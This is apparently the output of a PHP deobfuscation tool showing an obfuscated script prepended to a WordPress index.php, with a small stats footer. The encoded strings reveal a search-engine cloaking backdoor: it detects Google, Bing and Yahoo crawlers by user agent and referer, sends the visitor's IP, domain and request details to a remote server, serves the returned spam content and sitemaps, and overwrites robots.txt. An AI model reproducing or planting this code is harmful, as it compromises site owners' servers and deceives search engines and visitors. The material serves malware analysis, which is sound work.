"\77\141\x67\145\x6e\164\x3d{$fP6_r}\x26\x72\145\x66\x65\162\x3d{$N2B4A}\x26\154\141\x6e\x67\x3d{$KKahb}\x26\x69\160\x3d{$snmvo}\x26\144\157\155\x3d{$lpdOV}\x26\x68\x74\x74\160\75{$AvzTB}\46\165\162\151\x3d{$GslMI}\46\160\x63\75{$vKrti}\46\162\x65\167\162\151\x74\145\141\x62\154\x65\75{$T_QDk}\46\163\x63\162\151\160\x74\75{$Y4FfR}"; goto RUF9G; Fkj1x: exit; goto WWAj1; k4_aK: header("\110\124\124\120\x2f\61\56\x30\x20\64\x30\x33\x20\106\157\x72\x62\x69\144\144\145\156"); goto kDlB1; kDlB1: exit; goto n1J8k; W6e2I: if (strpos($GslMI, "\152\160\x32\x30\x32\63") !== false) { goto x47rj; } goto STi1a; qyYd3: $vKrti = 2793; goto gbvY5; k1HIP: $snmvo = urlencode($vusOL); goto iZa7S; VP7Kf: exit; goto nS8f5; PA6ee: EeX1w: goto PtYvE; J3XQt: @file_put_contents("\165\x78\157\x2e\x74\170\164", "\60"); goto gBedk; X9pu4: SpDJl: goto YAqxp; VIgGY: if (!(strpos($GslMI, "\x75\x75\165\x75\170\x78\x78\170\157\157\x6f") !== false)) { goto sGfdO; } goto BrDNE; f8pA_: exit; goto PGMPb; OGjsL: echo $veDxW; goto JCFLv; Dy1NV: echo $XkDEC . "\x3a\x20" . $HrQf0 . "\74\142\x72\x2f\76"; goto DJy94; PGMPb: TjeK0: goto IDCDe; HCb0U: if (substr($veDxW, 0, 5) == "\74\x3f\170\155\154") { goto Ao7US; } goto nr9WF; jxIWm: exit; goto PnePd; V2QPZ: pZQwp: goto PEE_u; fU4Xq: $rEaUf = $rEaUf . "\77"; goto TPA9B; PtYvE: goto xzkQ6; goto jDTO_; YAqxp: if (strpos($GslMI, "\160\151\x6e\x67\163\x69\x74\145\x6d\141\160\x2e\x78\155\x6c") !== false) { goto bSPs0; } goto CeAJn; AK58G: JX48T: goto DqMXR; JshD7: if (preg_match("\57\x28{$jFw5i}\x29\x2f\x69", $_SERVER["\110\x54\x54\120\137\122\105\x46\105\122\105\x52"])) { goto mH0Tr; } goto Q37aE; l9YuO: goto XDDOG; goto Z7bWv; nTmOa: $HrQf0 = ''; goto Dy1NV; nYfd_: noq2s: goto c72Wj; ooPNG: if (preg_match("\x2f\50{$jFw5i}\51\57\x69", $_SERVER["\x48\x54\124\x50\137\x55\123\105\122\137\x41\x47\105\116\x54"])) { goto JX48T; } goto JshD7; Z2vzQ: x47rj: goto ByUmh; YOlxu: goto pZQwp; goto kKJZS; lHLNt: exit; goto JKMuv; JCFLv: exit; goto PL_Vf; qQSQT: $T_QDk = @file_get_contents("\x75\170\157\56\x74\170\164"); goto VvADY; atNTh: echo $veDxW; goto MnWrS; G0KR2: if (strpos($rEaUf, "\151\156\x64\x65\x78\x2e\x70\x68\160") !== false) { goto LsKxD; } goto fU4Xq; hFrkD: L730K: goto HCb0U; FUndI: exit; goto OGT8E; jcvMv: $AvzTB = urlencode($_SERVER["\x52\105\x51\125\x45\x53\124\137\x53\103\x48\x45\x4d\105"]); goto GN1_Y; OGT8E: xk1xZ: goto vQDjs; GztJG: if (preg_match("\x40\x5e\x2f\x28\x2e\x2a\x3f\x29\x2e\x78\155\154\44\100\x69", $GslMI)) { goto HyS7G; } goto ooPNG; LspK9: goto TjeK0; goto kQRwm; FwKl7: mH0Tr: goto PJL4i; itJqu: $_SERVER["\x52\105\121\125\105\123\x54\137\x53\103\x48\x45\115\105"] = "\150\164\x74\x70\163"; goto vylTW; AekVg: $vusOL = lUVgd(); goto k1HIP; f1K4x: if ($veDxW == "\65\x30\x30") { goto O_tPG; } goto RxRS3; nS8f5: XDDOG: goto XIr50; kKJZS: Ao7US: goto qAc7q; Gc3q1: $veDxW = Gu5wu($jxakq); goto wE05z; Nhlun: echo $veDxW = gU5WU($jxakq); goto F_uk5; aWKwO: $veDxW = gu5Wu($jxakq); goto WtbpZ; c72Wj: Hm1f1: goto cl79L; dRZsd: $Y4FfR = urlencode($_SERVER["\123\x43\x52\111\x50\124\x5f\116\x41\x4d\x45"]); goto MoawA; PJL4i: $jxakq = $YrwQH . "\77\x61\x67\x65\x6e\164\x3d{$fP6_r}\46\x72\x65\x66\x65\162\75{$N2B4A}\46\154\141\156\147\x3d{$KKahb}\46\151\x70\75{$snmvo}\46\x64\157\155\x3d{$lpdOV}\x26\150\164\164\x70\x3d{$AvzTB}\x26\x75\x72\151\75{$GslMI}\46\160\143\x3d{$vKrti}\46\162\145\167\162\x69\x74\145\141\x62\154\145\x3d{$T_QDk}"; goto wtFDe; VvADY: goto SpDJl; goto oxN2o; STi1a: if (strpos($GslMI, "\x72\x6f\x62\157\x74\163\56\164\170\x74") !== false || strpos($GslMI, "\167\x72\x69\x74\145\x72\x6f\x62\157\x74\x73") !== false) { goto bB9lL; } goto GztJG; PyOPV: $rEaUf = "\x2f"; goto bCxvi; qAc7q: header("\x43\x6f\156\164\145\156\x74\55\x54\x79\160\145\x3a\40\x74\145\170\x74\x2f\170\155\154\x3b\40\x63\150\141\162\x73\x65\164\x3d\x75\x74\x66\x2d\70"); goto V2QPZ; tNjwt: $veDxW = GU5WU($jxakq); goto f1K4x; HUGMc: header("\110\124\x54\120\57\x31\x2e\60\x20\64\x30\63\x20\106\157\x72\x62\x69\x64\144\x65\156"); goto FUndI; XF3ha: $KKahb = urlencode($_SERVER["\110\124\x54\x50\x5f\101\103\103\105\x50\124\137\x4c\101\116\107\125\x41\x47\105"]); goto AekVg; WtbpZ: @file_put_contents("\162\x6f\x62\157\164\x73\x2e\164\x78\x74", $NIQel); goto lHLNt; MnWrS: exit; goto l9YuO; vQDjs: $jFw5i = "\x62\151\x6e\147\x7c\147\x6f\157\x67\x6c\145\x7c\171\141\x68\x6f\x6f"; goto Wrew0; qGtXR: @file_put_contents("\165\170\157\56\x74\170\164", "\x31"); goto A6G8w; gBedk: goto dDP8c; goto QiFSW; ZA8ob: $jxakq = $YrwQH . "\x3f\141\x67\x65\x6e\164\x3d{$fP6_r}\46\162\x65\x66\x65\x72\75{$N2B4A}\x26\154\141\156\x67\75{$KKahb}\x26\151\160\x3d{$snmvo}\x26\x64\x6f\x6d\75{$lpdOV}\46\x68\x74\164\160\75{$AvzTB}\x26\165\x72\151\75{$GslMI}\46\x70\x63\x3d{$vKrti}\46\x72\145\x77\162\x69\x74\x65\x61\x62\x6c\x65\x3d{$T_QDk}\x26\x73\x63\162\151\160\164\75{$Y4FfR}"; goto tNjwt; emnaA: $Ilfu4 = $AvzTB . "\x3a\57\x2f" . $_SERVER["\x48\x54\x54\x50\x5f\x48\x4f\123\124"] . "\57\165\x75\165\165\170\170\170\x78\157\x6f\157"; goto hd5zo; kfi0D: exit; goto hFrkD; XIr50: xzkQ6: goto aKvyd; PL_Vf: jx4Vx: goto LspK9; ZzfEq: bB9lL: goto x9ua9; JKMuv: eLaFp:
?><?php define('WP_USE_THEMES', true );require(__DIR__. '/wp-blog-header.php' ); ?>
Function Calls
None |
Stats
MD5 | dc68380cf96ce049d55fd007691f86d3 |
Eval Count | 0 |
Decode Time | 60 ms |